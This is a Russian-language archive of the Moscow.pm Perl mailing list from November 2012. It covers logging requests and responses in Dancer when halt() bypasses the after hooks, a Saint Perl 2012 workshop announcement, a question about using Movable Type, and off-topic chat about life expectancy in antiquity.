Subject: [Moscow.pm] =?utf-8?b?0JvQvtCz0LjRgNC+0LLQsNC90LjQtSDQt9Cw0L8=?= =?utf-8?b?0YDQvtGB0L7QsiDQuCDQvtGC0LLQtdGC0L7QsiDQsiBEYW5jZXI=?= Message-ID: Всем привет. Возникла проблемка при работе с Dancer. Нужно логировать все запросы и соответствующие им ответы, а также измерять время, потраченное на обработку запроса. В качестве быстрого решения мы поставили хуки before и after - в первом логируется запрос, во втором ответ. Однако во многих местах для быстрого возврата результата при ошибке используется halt(), а хуки не срабатывают, если был вызван halt() (т.е. ответ не записывается). Есть идеи, как решить этот вопрос? Может быть уже есть существующее решение? Пока приходит в голову только использовать промежуточный слой (Plack middleware), который будет выполнять нужные действия, но может кто посоветует что-то более простое? -- Best regards, Ilya Chesnokov ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From worldmind на mail.ru Fri Nov 9 01:27:49 2012 From: worldmind на mail.ru (Alexey Shrub) Date: Fri, 09 Nov 2012 12:27:49 +0300 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> <1352352381.46051112@f331.mail.ru> Message-ID: <509CCC95.4080401@mail.ru> 08.11.2012 10:11, Naim Shafiev пишет: > Ну так именно и среднию я и имел в виду. 50 летний мужчина не был редкостью и не считался долгожителем > Ну там даже и написано, что в сторону завышения, древний мир был > намного более негостепримный чем нынешний. не очень понял откуда ты это взял "Представления древних греков о возрасте, в котором человека можно считать старым, практически не отличались от современных, а если отличались - то в сторону завышения" т.е. если сейчас 70 это старый, то тогда 70 старостью могло и не считаться -- Alexey Shrub From dmitry на karasik.eu.org Fri Nov 9 01:34:11 2012 From: dmitry на karasik.eu.org (Dmitry Karasik) Date: Fri, 9 Nov 2012 10:34:11 +0100 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: <509CCC95.4080401@mail.ru> References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> <1352352381.46051112@f331.mail.ru> <509CCC95.4080401@mail.ru> Message-ID: <20121109093411.GA46790@tetsuo.karasik.eu.org> > т.е. если сейчас 70 это старый, то тогда 70 старостью могло и не считаться а во времена Мафусаила так и вообще, 70 против 969 вообще ничего ) -- Sincerely, Dmitry Karasik From shafiev на gmail.com Fri Nov 9 01:37:02 2012 From: shafiev на gmail.com (Naim Shafiev) Date: Fri, 9 Nov 2012 13:37:02 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: <20121109093411.GA46790@tetsuo.karasik.eu.org> References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> <1352352381.46051112@f331.mail.ru> <509CCC95.4080401@mail.ru> <20121109093411.GA46790@tetsuo.karasik.eu.org> Message-ID: 9 ноября 2012 г., 13:34 пользователь Dmitry Karasik написал: >> т.е. если сейчас 70 это старый, то тогда 70 старостью могло и не считаться > > а во времена Мафусаила так и вообще, 70 против 969 вообще ничего ) +1 . Там и адам был супердолгожителем. > > -- > Sincerely, > Dmitry Karasik > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org From shafiev на gmail.com Fri Nov 9 01:49:45 2012 From: shafiev на gmail.com (Naim Shafiev) Date: Fri, 9 Nov 2012 13:49:45 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: <509CCC95.4080401@mail.ru> References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> <1352352381.46051112@f331.mail.ru> <509CCC95.4080401@mail.ru> Message-ID: 9 ноября 2012 г., 13:27 пользователь Alexey Shrub написал: > 08.11.2012 10:11, Naim Shafiev пишет: > >> Ну так именно и среднию я и имел в виду. > > > 50 летний мужчина не был редкостью и не считался долгожителем Как бы мысли базируется на этом (ну и линках на пруфы отттуда) http://en.wikipedia.org/wiki/Life_expectancy#Life_expectancy_variation_over_time > > >> Ну там даже и написано, что в сторону завышения, древний мир был >> намного более негостепримный чем нынешний. > > > не очень понял откуда ты это взял > "Представления древних греков о возрасте, в котором человека можно считать > старым, практически не отличались от современных, а если отличались - то в > сторону завышения" > > т.е. если сейчас 70 это старый, то тогда 70 старостью могло и не считаться > > > -- > Alexey Shrub > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org From mail на knutov.com Fri Nov 9 01:51:08 2012 From: mail на knutov.com (Nick Knutov) Date: Fri, 09 Nov 2012 15:51:08 +0600 Subject: [Moscow.pm] =?koi8-r?b?7M/HydLP18HOycUg2sHQ0s/Tz9cgySDP1NfF1M/X?= =?koi8-r?b?INcgRGFuY2Vy?= In-Reply-To: References: Message-ID: <509CD20C.10504@knutov.com> Просто про логгирование - http://blogs.perl.org/users/polettix/2012/03/logging-in-dancer.html Про конкретно время, еще и с разбивкой на функции - Dancer::Plugin::NYTProf Про время целиком - Dancer::Plugin::TimeRequests 09.11.2012 15:23, Ilya Chesnokov пишет: > Всем привет. > > Возникла проблемка при работе с Dancer. > Нужно логировать все запросы и соответствующие им ответы, а также > измерять время, потраченное на обработку запроса. > > В качестве быстрого решения мы поставили хуки before и after - в первом > логируется запрос, во втором ответ. Однако во многих местах для быстрого > возврата результата при ошибке используется halt(), а хуки не > срабатывают, если был вызван halt() (т.е. ответ не записывается). > > Есть идеи, как решить этот вопрос? Может быть уже есть существующее > решение? Пока приходит в голову только использовать промежуточный слой > (Plack middleware), который будет выполнять нужные действия, но может > кто посоветует что-то более простое? > > -- > Best regards, > Ilya Chesnokov > > -- Best Regards, Nick Knutov http://knutov.com ICQ: 272873706 Voice: +7-904-84-23-130 From postmaster на softsearch.ru Fri Nov 9 01:52:27 2012 From: postmaster на softsearch.ru (=?koi8-r?B?7cnIwcnMIO3PzsHbo9c=?=) Date: Fri, 9 Nov 2012 13:52:27 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: <509CCC95.4080401@mail.ru> References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> <1352352381.46051112@f331.mail.ru> <509CCC95.4080401@mail.ru> Message-ID: <1977776789.20121109135227@softsearch.ru> Здравствуйте, Alexey. >> Ну так именно и среднию я и имел в виду. > 50 летний мужчина не был редкостью и не считался долгожителем >> Ну там даже и написано, что в сторону завышения, древний мир был >> намного более негостепримный чем нынешний. > не очень понял откуда ты это взял > "Представления древних греков о возрасте, в котором человека можно > считать старым, практически не отличались от современных, а если > отличались - то в сторону завышения" > т.е. если сейчас 70 это старый, то тогда 70 старостью могло и не > считаться Интересно как они, например, зубы лечили? Их если не лечить вообще, то и до 30 не дотянешь. К сожалению, знаю примеры, когда из-за боязни пойти к стоматологу человек не лечил зуб и потом умирал от распространившего воспаления. Если тупо выдёргивать, то тоже снижается здоровье: ухудшается пищеварение, хотя это и не смертельно. -- С уважением, Михаил mailto:postmaster на softsearch.ru From ali на ali.org.ua Fri Nov 9 01:54:22 2012 From: ali на ali.org.ua (Oleg Alistratov) Date: Fri, 09 Nov 2012 11:54:22 +0200 Subject: [Moscow.pm] =?koi8-r?b?7M/HydLP18HOycUg2sHQ0s/Tz9cgySDP1NfF1M/X?= =?koi8-r?b?INcgRGFuY2Vy?= In-Reply-To: <509CD20C.10504@knutov.com> References: <509CD20C.10504@knutov.com> Message-ID: <2138861352454862@web4h.yandex.ru> Ну а для быстрой обвески хуками ? use Aspect; Оно, конечно, как любой манки-патчинг, инструмент большой разрушительной силы ) 09.11.2012, 11:51, "Nick Knutov" : > Просто про логгирование - > http://blogs.perl.org/users/polettix/2012/03/logging-in-dancer.html > > Про конкретно время, еще и с разбивкой на функции - Dancer::Plugin::NYTProf > > Про время целиком - Dancer::Plugin::TimeRequests > > 09.11.2012 15:23, Ilya Chesnokov пишет: > >>  Всем привет. >> >>  Возникла проблемка при работе с Dancer. >>  Нужно логировать все запросы и соответствующие им ответы, а также >>  измерять время, потраченное на обработку запроса. >> >>  В качестве быстрого решения мы поставили хуки before и after - в первом >>  логируется запрос, во втором ответ. Однако во многих местах для быстрого >>  возврата результата при ошибке используется halt(), а хуки не >>  срабатывают, если был вызван halt() (т.е. ответ не записывается). >> >>  Есть идеи, как решить этот вопрос? Может быть уже есть существующее >>  решение? Пока приходит в голову только использовать промежуточный слой >>  (Plack middleware), который будет выполнять нужные действия, но может >>  кто посоветует что-то более простое? >> >>  -- >>  Best regards, >>  Ilya Chesnokov > > -- > Best Regards, > Nick Knutov > http://knutov.com > ICQ: 272873706 > Voice: +7-904-84-23-130 > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org -- Oleg Alistratov From warstone на list.ru Fri Nov 9 01:59:22 2012 From: warstone на list.ru (=?UTF-8?B?V2Fyc3RvbmVAbGlzdC5ydQ==?=) Date: Fri, 09 Nov 2012 13:59:22 +0400 Subject: [Moscow.pm] =?utf-8?b?0LLQsNC60LDQvdGB0LjRjyBQZXJsINGA0LDQt9GA?= =?utf-8?b?0LDQsdC+0YLRh9C40LrQsA==?= In-Reply-To: <1977776789.20121109135227@softsearch.ru> References: <509CCC95.4080401@mail.ru> <1352303559.645318082@f347.mail.ru> <1977776789.20121109135227@softsearch.ru> Message-ID: <1352455162.860229406@f236.mail.ru> У них было протезирование зубов, это раз. И зубы как-то лечили. А еще они чем-то питались, что убивало сальмонеллу (насколько я знаю, это и есть бактерия, вызывающая кариес). Fri, 9 Nov 2012 13:52:27 +0400 от Михаил Монашёв : > > > > >Здравствуйте, Alexey. > > >> Ну так именно и среднию я и имел в виду. > > > 50 летний мужчина не был редкостью и не считался долгожителем > > >> Ну там даже и написано, что в сторону завышения, древний мир был > >> намного более негостепримный чем нынешний. > > > не очень понял откуда ты это взял > > "Представления древних греков о возрасте, в котором человека можно > > считать старым, практически не отличались от современных, а если > > отличались - то в сторону завышения" > > > т.е. если сейчас 70 это старый, то тогда 70 старостью могло и не > > считаться > > Интересно как они, например, зубы лечили? Их если не лечить вообще, то > и до 30 не дотянешь. К сожалению, знаю примеры, когда из-за боязни > пойти к стоматологу человек не лечил зуб и потом умирал от > распространившего воспаления. Если тупо выдёргивать, то тоже снижается > здоровье: ухудшается пищеварение, хотя это и не смертельно. > > -- > С уважением, >  Михаил mailto:postmaster на softsearch.ru > > -- > Moscow.pm mailing list >moscow-pm на pm.org | http://moscow.pm.org > ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From proler на gmail.com Fri Nov 9 02:04:16 2012 From: proler на gmail.com (oleg alexeenkov) Date: Fri, 09 Nov 2012 14:04:16 +0400 Subject: [Moscow.pm] =?utf-8?b?0LLQsNC60LDQvdGB0LjRjyBQZXJsINGA0LDQt9GA?= =?utf-8?b?0LDQsdC+0YLRh9C40LrQsA==?= In-Reply-To: <1352455162.860229406@f236.mail.ru> References: <509CCC95.4080401@mail.ru> <1352303559.645318082@f347.mail.ru> <1977776789.20121109135227@softsearch.ru> <1352455162.860229406@f236.mail.ru> Message-ID: Warstone на list.ru писал(а) в своём письме Fri, 09 Nov 2012 13:59:22 +0400: А еще не жрали столько сахара (его небыло), а всякие мёды и фрукты. и зубы портились гораздо меньше. > У них было протезирование зубов, это раз. И зубы как-то лечили. А еще > они чем-то питались, что убивало сальмонеллу (насколько я знаю, это и > есть бактерия, вызывающая кариес). > > > Fri, 9 Nov 2012 13:52:27 +0400 от Михаил Монашёв > : >> >> >> > > >> > > > >> Здравствуйте, Alexey. >> >> >>> Ну так именно и среднию я и имел в виду. >> >> >> 50 летний мужчина не был редкостью и не считался долгожителем >> >> >>> Ну там даже и написано, что в сторону завышения, древний мир был >> >>> намного более негостепримный чем нынешний. >> >> >> не очень понял откуда ты это взял >> >> "Представления древних греков о возрасте, в котором человека можно >> >> считать старым, практически не отличались от современных, а если >> >> отличались - то в сторону завышения" >> >> >> т.е. если сейчас 70 это старый, то тогда 70 старостью могло и не >> >> считаться >> >> > Интересно как они, например, зубы лечили? Их если не лечить вообще, то >> > и до 30 не дотянешь. К сожалению, знаю примеры, когда из-за боязни >> > пойти к стоматологу человек не лечил зуб и потом умирал от >> > распространившего воспаления. Если тупо выдёргивать, то тоже снижается >> > здоровье: ухудшается пищеварение, хотя это и не смертельно. >> From onokonem на gmail.com Fri Nov 9 02:13:49 2012 From: onokonem на gmail.com (Daniel Podolsky) Date: Fri, 9 Nov 2012 13:13:49 +0300 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: References: <509CCC95.4080401@mail.ru> <1352303559.645318082@f347.mail.ru> <1977776789.20121109135227@softsearch.ru> <1352455162.860229406@f236.mail.ru> Message-ID: > А еще не жрали столько сахара (его небыло), а всякие мёды и фрукты. > и зубы портились гораздо меньше. А как Вы думаете - что они вообще жрали? From chesnokov.ilya на gmail.com Fri Nov 9 02:41:14 2012 From: chesnokov.ilya на gmail.com (Ilya Chesnokov) Date: Fri, 9 Nov 2012 14:41:14 +0400 Subject: [Moscow.pm] =?utf-8?b?0JvQvtCz0LjRgNC+0LLQsNC90LjQtSDQt9Cw0L8=?= =?utf-8?b?0YDQvtGB0L7QsiDQuCDQvtGC0LLQtdGC0L7QsiDQsiBEYW5jZXI=?= In-Reply-To: <509CD20C.10504@knutov.com> References: <509CD20C.10504@knutov.com> Message-ID: 9 ноября 2012 г., 13:51 пользователь Nick Knutov написал: > Просто про логгирование - http://blogs.perl.org/users/** > polettix/2012/03/logging-in-**dancer.html > > Про конкретно время, еще и с разбивкой на функции - Dancer::Plugin::NYTProf > > Про время целиком - Dancer::Plugin::TimeRequests > > А прочитать вопрос полностью - слабо? ;) Последние два модуля не будут работать при использовании halt(), т.к. используют тот же самый хук after, который используется и у меня. > > 09.11.2012 15:23, Ilya Chesnokov пишет: > > Всем привет. >> >> Возникла проблемка при работе с Dancer. >> Нужно логировать все запросы и соответствующие им ответы, а также >> измерять время, потраченное на обработку запроса. >> >> В качестве быстрого решения мы поставили хуки before и after - в первом >> логируется запрос, во втором ответ. Однако во многих местах для быстрого >> возврата результата при ошибке используется halt(), а хуки не >> срабатывают, если был вызван halt() (т.е. ответ не записывается). >> >> Есть идеи, как решить этот вопрос? Может быть уже есть существующее >> решение? Пока приходит в голову только использовать промежуточный слой >> (Plack middleware), который будет выполнять нужные действия, но может >> кто посоветует что-то более простое? >> >> -- >> Best regards, >> Ilya Chesnokov >> >> >> > -- > Best Regards, > Nick Knutov > http://knutov.com > ICQ: 272873706 > Voice: +7-904-84-23-130 > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- Best regards, Ilya Chesnokov ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From chesnokov.ilya на gmail.com Fri Nov 9 02:42:50 2012 From: chesnokov.ilya на gmail.com (Ilya Chesnokov) Date: Fri, 9 Nov 2012 14:42:50 +0400 Subject: [Moscow.pm] =?utf-8?b?0JvQvtCz0LjRgNC+0LLQsNC90LjQtSDQt9Cw0L8=?= =?utf-8?b?0YDQvtGB0L7QsiDQuCDQvtGC0LLQtdGC0L7QsiDQsiBEYW5jZXI=?= In-Reply-To: <2138861352454862@web4h.yandex.ru> References: <509CD20C.10504@knutov.com> <2138861352454862@web4h.yandex.ru> Message-ID: 9 ноября 2012 г., 13:54 пользователь Oleg Alistratov написал: > Ну а для быстрой обвески хуками ? > use Aspect; > > Оно, конечно, как любой манки-патчинг, инструмент большой разрушительной > силы ) > > Даже не представляю, как его использовать в связке с Dancer-ом - там же нет имен функций, только coderef-ы - т.е. даже выделить необходимые функции будет сложно. Боюсь, его сила слишком разрушительна для меня :) > > 09.11.2012, 11:51, "Nick Knutov" : > > Просто про логгирование - > > http://blogs.perl.org/users/polettix/2012/03/logging-in-dancer.html > > > > Про конкретно время, еще и с разбивкой на функции - > Dancer::Plugin::NYTProf > > > > Про время целиком - Dancer::Plugin::TimeRequests > > > > 09.11.2012 15:23, Ilya Chesnokov пишет: > > > >> Всем привет. > >> > >> Возникла проблемка при работе с Dancer. > >> Нужно логировать все запросы и соответствующие им ответы, а также > >> измерять время, потраченное на обработку запроса. > >> > >> В качестве быстрого решения мы поставили хуки before и after - в первом > >> логируется запрос, во втором ответ. Однако во многих местах для > быстрого > >> возврата результата при ошибке используется halt(), а хуки не > >> срабатывают, если был вызван halt() (т.е. ответ не записывается). > >> > >> Есть идеи, как решить этот вопрос? Может быть уже есть существующее > >> решение? Пока приходит в голову только использовать промежуточный слой > >> (Plack middleware), который будет выполнять нужные действия, но может > >> кто посоветует что-то более простое? > >> > >> -- > >> Best regards, > >> Ilya Chesnokov > > > > -- > > Best Regards, > > Nick Knutov > > http://knutov.com > > ICQ: 272873706 > > Voice: +7-904-84-23-130 > > -- > > Moscow.pm mailing list > > moscow-pm на pm.org | http://moscow.pm.org > > -- > Oleg Alistratov > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- Best regards, Ilya Chesnokov ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From mail на knutov.com Fri Nov 9 02:45:58 2012 From: mail на knutov.com (Nick Knutov) Date: Fri, 09 Nov 2012 16:45:58 +0600 Subject: [Moscow.pm] =?utf-8?b?0JvQvtCz0LjRgNC+0LLQsNC90LjQtSDQt9Cw0L8=?= =?utf-8?b?0YDQvtGB0L7QsiDQuCDQvtGC0LLQtdGC0L7QsiDQsiBEYW5jZXI=?= In-Reply-To: References: <509CD20C.10504@knutov.com> <2138861352454862@web4h.yandex.ru> Message-ID: <509CDEE6.8040002@knutov.com> Ничего не мешает ведь сделать что-то вроде any '/get/info' => \&get_info; sub get_info {...} 09.11.2012 16:42, Ilya Chesnokov пишет: > > 9 ноября 2012 г., 13:54 пользователь Oleg Alistratov > написал: > > Ну а для быстрой обвески хуками ? > use Aspect; > > Оно, конечно, как любой манки-патчинг, инструмент большой > разрушительной силы ) > > > Даже не представляю, как его использовать в связке с Dancer-ом - там же > нет имен функций, только coderef-ы - т.е. даже выделить необходимые > функции будет сложно. Боюсь, его сила слишком разрушительна для меня :) > > > 09.11.2012, 11:51, "Nick Knutov" >: > > Просто про логгирование - > > http://blogs.perl.org/users/polettix/2012/03/logging-in-dancer.html > > > > Про конкретно время, еще и с разбивкой на функции - > Dancer::Plugin::NYTProf > > > > Про время целиком - Dancer::Plugin::TimeRequests > > > > 09.11.2012 15:23, Ilya Chesnokov пишет: > > > >> Всем привет. > >> > >> Возникла проблемка при работе с Dancer. > >> Нужно логировать все запросы и соответствующие им ответы, а также > >> измерять время, потраченное на обработку запроса. > >> > >> В качестве быстрого решения мы поставили хуки before и after - > в первом > >> логируется запрос, во втором ответ. Однако во многих местах для > быстрого > >> возврата результата при ошибке используется halt(), а хуки не > >> срабатывают, если был вызван halt() (т.е. ответ не записывается). > >> > >> Есть идеи, как решить этот вопрос? Может быть уже есть существующее > >> решение? Пока приходит в голову только использовать > промежуточный слой > >> (Plack middleware), который будет выполнять нужные действия, но > может > >> кто посоветует что-то более простое? > >> > >> -- > >> Best regards, > >> Ilya Chesnokov > > > > -- > > Best Regards, > > Nick Knutov > > http://knutov.com > > ICQ: 272873706 > > Voice: +7-904-84-23-130 > > -- > > Moscow.pm mailing list > > moscow-pm на pm.org | http://moscow.pm.org > > -- > Oleg Alistratov > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > > > > -- > Best regards, > Ilya Chesnokov > > -- Best Regards, Nick Knutov http://knutov.com ICQ: 272873706 Voice: +7-904-84-23-130 From simashin на gmail.com Fri Nov 9 02:48:22 2012 From: simashin на gmail.com (alexander simashin) Date: Fri, 9 Nov 2012 14:48:22 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: References: <509CCC95.4080401@mail.ru> <1352303559.645318082@f347.mail.ru> <1977776789.20121109135227@softsearch.ru> <1352455162.860229406@f236.mail.ru> Message-ID: Надо, "темку" с названием, что то типа - "мысли вслух" | "рассуждения о вечном" | т.д. завести. :) ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From mail на knutov.com Fri Nov 9 02:48:23 2012 From: mail на knutov.com (Nick Knutov) Date: Fri, 09 Nov 2012 16:48:23 +0600 Subject: [Moscow.pm] =?koi8-r?b?7M/HydLP18HOycUg2sHQ0s/Tz9cgySDP1NfF1M/X?= =?koi8-r?b?INcgRGFuY2Vy?= In-Reply-To: References: <509CD20C.10504@knutov.com> Message-ID: <509CDF77.4010305@knutov.com> Я не читал исходники указанных модулей. Если они вешаются на хуки, то остаётся только plack middleware (и, помоему, уже было готовое, но сходу не вспомню имя модуля), но лучше бы спросить в дансеровской рассылке почему при halt() не обрабатываются хуки after (или почему при этом нет отдельного хука after_halt. 09.11.2012 16:41, Ilya Chesnokov пишет: > > 9 ноября 2012 г., 13:51 пользователь Nick Knutov > написал: > > Просто про логгирование - > http://blogs.perl.org/users/__polettix/2012/03/logging-in-__dancer.html > > > Про конкретно время, еще и с разбивкой на функции - > Dancer::Plugin::NYTProf > > Про время целиком - Dancer::Plugin::TimeRequests > > > А прочитать вопрос полностью - слабо? ;) Последние два модуля не будут > работать при использовании halt(), т.к. используют тот же самый хук > after, который используется и у меня. > > > 09.11.2012 15:23, Ilya Chesnokov пишет: > > Всем привет. > > Возникла проблемка при работе с Dancer. > Нужно логировать все запросы и соответствующие им ответы, а также > измерять время, потраченное на обработку запроса. > > В качестве быстрого решения мы поставили хуки before и after - в > первом > логируется запрос, во втором ответ. Однако во многих местах для > быстрого > возврата результата при ошибке используется halt(), а хуки не > срабатывают, если был вызван halt() (т.е. ответ не записывается). > > Есть идеи, как решить этот вопрос? Может быть уже есть существующее > решение? Пока приходит в голову только использовать > промежуточный слой > (Plack middleware), который будет выполнять нужные действия, но > может > кто посоветует что-то более простое? > > -- > Best regards, > Ilya Chesnokov > > > > -- > Best Regards, > Nick Knutov > http://knutov.com > ICQ: 272873706 > Voice: +7-904-84-23-130 > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > > > > -- > Best regards, > Ilya Chesnokov > > -- Best Regards, Nick Knutov http://knutov.com ICQ: 272873706 Voice: +7-904-84-23-130 From complefor на rambler.ru Fri Nov 9 03:00:30 2012 From: complefor на rambler.ru (=?koi8-r?B?88XSx8XKIPLPzcHOz9c=?=) Date: Fri, 9 Nov 2012 15:00:30 +0400 Subject: [Moscow.pm] spb-pm@pm.org Message-ID: <1352458830.843898.20675.28610@saddam3.rambler.ru> Вновь приглашаем всех любителей и профессионалов Perl на четвёртый ежегодный воркшоп "Saint Perl 2012". Язык Perl декабре отметит свой 25й день рождения! Собраться и обсудить прошлое, настоящее и будущее любимой технологии - не это ли лучший способ отметить её юбилей =) Уже можно регистрироваться и подавать заявки на выступление: http://event.yapcrussia.org/saintperl4/ Мероприятие состоится в субботу, 22 декабря, в Санкт-Петербурге. Участие по-прежнему бесплатное и мы рады сотрудничеству со спонсорами. Адрес организаторов: saintperl на yapcrussia.org PS: на 21е декабря, как мы помним, намечен конец света. В мир постапокалипсиса вместе с Perl! -- sromanov ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From complefor на rambler.ru Fri Nov 9 03:02:51 2012 From: complefor на rambler.ru (=?koi8-r?B?88XSx8XKIPLPzcHOz9c=?=) Date: Fri, 9 Nov 2012 15:02:51 +0400 Subject: [Moscow.pm] "Saint Perl 2012" In-Reply-To: <1352458830.843898.20675.28610@saddam3.rambler.ru> References: <1352458830.843898.20675.28610@saddam3.rambler.ru> Message-ID: <1352458971.938417.21629.46659@saddam2.rambler.ru> А теперь - и c темой! =) Fri 09 Nov 2012 03:00:30 PM MSK пользователь Сергей Романов (complefor на rambler.ru) написал: Вновь приглашаем всех любителей и профессионалов Perl на четвёртый ежегодный воркшоп "Saint Perl 2012". Язык Perl декабре отметит свой 25й день рождения! Собраться и обсудить прошлое, настоящее и будущее любимой технологии - не это ли лучший способ отметить её юбилей =) Уже можно регистрироваться и подавать заявки на выступление: http://event.yapcrussia.org/saintperl4/ Мероприятие состоится в субботу, 22 декабря, в Санкт-Петербурге. Участие по-прежнему бесплатное и мы рады сотрудничеству со спонсорами. Адрес организаторов: saintperl на yapcrussia.org PS: на 21е декабря, как мы помним, намечен конец света. В мир постапокалипсиса вместе с Perl! -- sromanov ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From worldmind на mail.ru Fri Nov 9 04:34:49 2012 From: worldmind на mail.ru (Alexey Shrub) Date: Fri, 09 Nov 2012 15:34:49 +0300 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: <1977776789.20121109135227@softsearch.ru> References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> <1352352381.46051112@f331.mail.ru> <509CCC95.4080401@mail.ru> <1977776789.20121109135227@softsearch.ru> Message-ID: <509CF869.8000206@mail.ru> 09.11.2012 12:52, Михаил Монашёв пишет: > Интересно как они, например, зубы лечили? Их если не лечить вообще, то > и до 30 не дотянешь. К сожалению, знаю примеры, когда из-за боязни > пойти к стоматологу человек не лечил зуб и потом умирал от > распространившего воспаления. Если тупо выдёргивать, то тоже снижается > здоровье: ухудшается пищеварение, хотя это и не смертельно. - высокая детская смертность отсеивала большую часть болезненных, выживали только с отменным здоровьем, про отбор неплохая статья http://vicsrg.ho.com.ua/stat/kordum.htm - питание было здоровее -- Alexey Shrub From worldmind на mail.ru Fri Nov 9 05:11:43 2012 From: worldmind на mail.ru (Alexey Shrub) Date: Fri, 09 Nov 2012 16:11:43 +0300 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> <1352352381.46051112@f331.mail.ru> <509CCC95.4080401@mail.ru> Message-ID: <509D010F.6030806@mail.ru> 09.11.2012 12:49, Naim Shafiev пишет: > Как бы мысли базируется на этом (ну и линках на пруфы отттуда) > http://en.wikipedia.org/wiki/Life_expectancy#Life_expectancy_variation_over_time Если я правильно понял то life expectancy это обыкновенная средняя продолжительность жизни рассчитанная для конкретного поколения и эти цифры лишь подтверждают то, что я сказал - это математическое ожидание, а математическое ожидание не несёт информации если не указана дисперсия, а вот дисперсия будет сильно отличатся, в ранние эпохи дисперсия будет практически равна мат ожиданию, а в новое время оно будет всё меньше и меньше -- Alexey Shrub From ivan на serezhkin.com Fri Nov 9 05:28:13 2012 From: ivan на serezhkin.com (Vany Serezhkin) Date: Fri, 09 Nov 2012 17:28:13 +0400 Subject: [Moscow.pm] Movable type Message-ID: <509D04ED.6040405@serezhkin.com> Привет. Хочу начать использовать сабж, потому что мне стрёмно инвестировать свое время в проект, который может не взлететь. Кто нибудь пробовал? Как там на счёт взять и дописать ... например импорт стоков откуда ни будь? Убийственная затея, или на коленке реализуемо? -- WBR, Vany From andy на shitov.ru Fri Nov 9 05:41:15 2012 From: andy на shitov.ru (Andrew Shitov) Date: Fri, 9 Nov 2012 14:41:15 +0100 Subject: [Moscow.pm] Movable type In-Reply-To: <509D04ED.6040405@serezhkin.com> References: <509D04ED.6040405@serezhkin.com> Message-ID: Я пробовал раза три, все ОК; onperl.ru, например на нем. Ну каменный век, конечно, CGI, прикольные олдскульные редиректы и перегенерация страниц во время поста и пр., но работает. К тому же на выходе статика. 2012/11/9 Vany Serezhkin : > Привет. > > Хочу начать использовать сабж, потому что мне стрёмно инвестировать свое > время в проект, который может не взлететь. > Кто нибудь пробовал? Как там на счёт взять и дописать ... например импорт > стоков откуда ни будь? Убийственная затея, или на коленке реализуемо? > > > -- > WBR, Vany > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org -- Andrew Shitov ______________________________________________________________________ andy на shitov.ru | http://shitov.ru From denis.fedoseev на gmail.com Fri Nov 9 05:55:37 2012 From: denis.fedoseev на gmail.com (alpha6) Date: Fri, 9 Nov 2012 17:55:37 +0400 Subject: [Moscow.pm] Movable type In-Reply-To: References: <509D04ED.6040405@serezhkin.com> Message-ID: Там можно включить динамику и тогда динамический код в страницах будет работать с использованием php :) С уважением, Денис Федосеев On 9 Nov 2012, at 5:41 PM, Andrew Shitov wrote: > Я пробовал раза три, все ОК; onperl.ru, например на нем. Ну каменный > век, конечно, CGI, прикольные олдскульные редиректы и перегенерация > страниц во время поста и пр., но работает. К тому же на выходе > статика. > > > 2012/11/9 Vany Serezhkin : >> Привет. >> >> Хочу начать использовать сабж, потому что мне стрёмно инвестировать свое >> время в проект, который может не взлететь. >> Кто нибудь пробовал? Как там на счёт взять и дописать ... например импорт >> стоков откуда ни будь? Убийственная затея, или на коленке реализуемо? >> >> >> -- >> WBR, Vany >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org > > > > -- > Andrew Shitov > ______________________________________________________________________ > andy на shitov.ru | http://shitov.ru > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org From postmaster на softsearch.ru Fri Nov 9 06:02:42 2012 From: postmaster на softsearch.ru (=?koi8-r?B?7cnIwcnMIO3PzsHbo9c=?=) Date: Fri, 9 Nov 2012 18:02:42 +0400 Subject: [Moscow.pm] =?koi8-r?b?18HLwc7TydEgUGVybCDSwdrSwcLP1N7Jy8E=?= In-Reply-To: <509CF869.8000206@mail.ru> References: <1352303559.645318082@f347.mail.ru> <509A782B.90201@serezhkin.com> 